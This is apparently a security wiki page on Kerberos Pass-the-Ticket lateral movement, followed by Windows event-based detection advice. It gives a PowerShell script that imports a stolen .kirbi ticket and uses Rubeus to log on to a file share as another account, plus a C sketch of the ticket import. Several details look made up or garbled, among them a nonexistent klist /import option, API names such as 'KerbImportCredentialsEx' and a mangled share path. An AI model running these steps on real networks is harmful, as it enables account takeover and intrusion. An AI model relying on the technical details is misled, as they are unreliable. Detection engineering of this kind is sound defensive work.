Skip to content
λmaldev wiki/
pagesPass the Ticket
T1550.003WindowsLinuxmacOSKerberosPowerShellkinit

Pass the Ticket

updated 2026-09-048 min readthehackersbrain
Authorized use only. This material is published for detection engineering, malware analysis and authorized red-team engagements. Running these techniques against systems you do not own or have written permission to test is illegal.

Overview

Pass the Ticket (PtT) is a lateral-movement technique in which a captured Kerberos ticket - a TGT or a service TGS - is injected into the local credential cache and then presented to a service to authenticate as the ticket’s owner. The service validates the ticket’s signature, not a password, so the attacker never needs the account’s password or its NT hash. The technique works with a full TGT (which can request any service ticket) or with a single TGS (which grants access to one specific service only).

PtT is a natural follow-on to an LSASS dump because live tickets sit in lsass.exe memory. A TGT stolen this way is cryptographically valid until it expires, and every host that trusts the same key distribution center will accept it. The validity window - not the ticket bytes - is what the defender has to track.

Note.

PtT is not the same as a golden ticket. A golden ticket is forged with the krbtgt key and can be made to never expire. A PtT ticket is a genuine ticket with a real issue and expiry time, which is both its strength (it looks normal) and its tell (its lifetime is bounded and its issue time is logged).

The call chain

  1. 1
    Load the captured ticket
    Read the stolen TGT or TGS from a .kirbi file or a .ccache; no password is involved.
  2. 2
    KerbImportCredentialsEx / kimport
    Inject the ticket into the local credential cache for the current session.
  3. 3
    Present or request the service ticket
    If only a TGT is held, issue a TGS-REQ; if a TGS is held, present it directly.
  4. 4
    Authenticate to the target service
    Complete an SMB, WinRM or RDP logon with the ticket - no password, no NTLM.

Reference implementation

The practical flow is a ticket import followed by a normal service logon. On Windows the import is done with klist or Rubeus; on Linux and macOS the equivalent is kimport / kinit against the session’s .ccache.

ptt_win.ps1PowerShell
# 1. inject the captured ticket into the current session cache
#    (a .kirbi was exported from the victim, e.g. via Rubeus /ticket)
klist.exe /import:target.kirbi

# 2. confirm the ticket is now present
klist.exe /get

# 3. authenticate to a service with the ticket, no password
net use \\fileservershares$ /user:CORP\svc-backup
rubeus.exe ptt /ticket:target.kirbi /user:svc-backup

C-level sketch

At the API level the import is a single call. Building the auth context and presenting the ticket to the service is omitted here.

ptt.cC
// 1. read the captured ticket bytes from a .kirbi file
PBYTE ticket; DWORD len;  // ... file read omitted ...

// 2. import into the current user's cache  <-- the step that leaves the cache artifact
DWORD err = KerbImportCredentialsEx(
  ticket, len, KerbTicketOptionAll,
  NULL,                    // S4U proxy (none)
  L"CORP\\svc-backup",    // user principal name
  0, NULL, NULL, NULL);
// err == ERROR_SUCCESS on import; the ticket now lives in LsaCacheCredentials

// 3. present it: AcquireCredentialsHandle / GSS_C_KRB5_CRED, then feed the
//    credential handle to the service's accept step. The service verifies
//    the TGS signature against its own key - no password is ever compared.
//    <-- omitted for brevity
Caution.

klist /import writes the ticket into the per-user cache and keeps it for the life of the logon session. Anyone with the same user context - or a later dump - can re-read it.

Verifying in the lab

After the import, klist /get shows the replayed ticket. The tell is in the timestamps: the ticket’s start time is when it was first issued on the victim, not when the current session began.

klist
> klist /get
Current user: CORP\svc-backup

  Start Time          End Time            Service Name
  ------------        --------            ----------
  07/14/2026 09:02    07/14/2026 21:02    krbtgt/CORP
      ^ TGT start time predates this logon session  <-- the artifact

Detection

The most useful single signal is a Kerberos authentication on a host for which the account never performed an interactive logon. The ticket arrived by import, not by password.

EVENT 4769
A TGS-REQ for an account whose TGT was never obtained interactively on the presenting host.
EVENT 4624
A network logon (type 3) via Kerberos with no preceding interactive logon for that account.
BEHAVIOURAL
The same TGT or TGS presented across multiple hosts by one account inside its lifetime.
MEMORY SCAN
A TGS in the session cache whose start time predates the session that is using it.

Rank them: the 4769 / 4624 correlation is the cheapest continuous control and catches most tooling that imports a TGT. The behavioural replay check is higher fidelity but requires correlating across hosts. The cache start-time check only runs during triage, on a captured session.

Was this page useful?edit this page ↗